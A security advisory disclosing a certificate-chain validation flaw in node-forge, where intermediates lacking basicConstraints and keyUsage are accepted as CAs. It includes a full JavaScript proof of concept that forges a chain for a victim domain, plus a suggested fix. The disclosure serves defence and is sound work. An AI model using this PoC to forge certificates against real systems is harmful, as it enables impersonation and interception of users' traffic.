CVE-2026-33896

Description

## Summary `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. ## Technical Details In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization: 1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null` 2. The `basicConstraints.cA` check is gated on `bcExt !== null` When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA. **RFC 5280 Section 6.1.4 step (k) requires:** > "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE." The absence of `basicConstraints` should result in rejection, not acceptance. ## Proof of Concept ```javascript const forge = require('node-forge'); const pki = forge.pki; function generateKeyPair() { return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 }); } console.log('=== node-forge basicConstraints Bypass PoC ===\n'); // 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true) const rootKeys = generateKeyPair(); const rootCert = pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10); const rootAttrs = [ { name: 'commonName', value: 'Legitimate Root CA' }, { name: 'organizationName', value: 'PoC Security Test' } ]; rootCert.setSubject(rootAttrs); rootCert.setIssuer(rootAttrs); rootCert.setExtensions([ { name: 'basicConstraints', cA: true, critical: true }, { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true } ]); rootCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage // This certificate should NOT be allowed to sign other certificates const leafKeys = generateKeyPair(); const leafCert = pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5); const leafAttrs = [ { name: 'commonName', value: 'Non-CA Leaf Certificate' }, { name: 'organizationName', value: 'PoC Security Test' } ]; leafCert.setSubject(leafAttrs); leafCert.setIssuer(rootAttrs); // NO basicConstraints extension — NO keyUsage extension leafCert.sign(rootKeys.privateKey, forge.md.sha256.create()); // 3. Create a "victim" certificate signed by the leaf // This simulates an attacker using a non-CA cert to forge certificates const victimKeys = generateKeyPair(); const victimCert = pki.createCertificate(); victimCert.publicKey = victimKeys.publicKey; victimCert.serialNumber = '03'; victimCert.validity.notBefore = new Date(); victimCert.validity.notAfter = new Date(); victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1); const victimAttrs = [ { name: 'commonName', value: 'victim.example.com' }, { name: 'organizationName', value: 'Victim Corp' } ]; victimCert.setSubject(victimAttrs); victimCert.setIssuer(leafAttrs); victimCert.sign(leafKeys.privateKey, forge.md.sha256.create()); // 4. Verify the chain: root -> leaf -> victim const caStore = pki.createCaStore([rootCert]); try { const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]); console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result); console.log(' node-forge accepted a non-CA certificate as an intermediate CA!'); console.log(' This violates RFC 5280 Section 6.1.4.'); } catch (e) { console.log('[SECURE] Chain verification FAILED (expected): ' + e.message); } ``` **Results:** - Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280) - Certificate with `basicConstraints.cA=false`: correctly rejected - Certificate with `keyUsage` (no `keyCertSign`): correctly rejected - Proper intermediate CA (control): correctly accepted ## Attack Scenario An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain. This affects applications using node-forge for: - Custom PKI / certificate pinning implementations - S/MIME / PKCS#7 signature verification - IoT device certificate validation - Any non-native-TLS certificate chain verification ## CVE Precedent This is the same vulnerability class as: - **CVE-2014-0092** (GnuTLS) — certificate verification bypass - **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass - **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance ## Not a Duplicate This is distinct from: - CVE-2025-12816 (ASN.1 parser desynchronization — different code path) - CVE-2025-66030/66031 (DoS and integer overflow — different issue class) - GitHub issue #1049 (null subject/issuer — different malformation) ## Suggested Fix Add an explicit check for absent `basicConstraints` on non-leaf certificates: ```javascript // After the keyUsage check block, BEFORE the cA check: if(error === null && bcExt === null) { error = { message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.', error: pki.certificateError.bad_certificate }; } ``` ## Disclosure Timeline - 2026-03-10: Report submitted via GitHub Security Advisory - 2026-06-08: 90-day coordinated disclosure deadline ## Credits Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)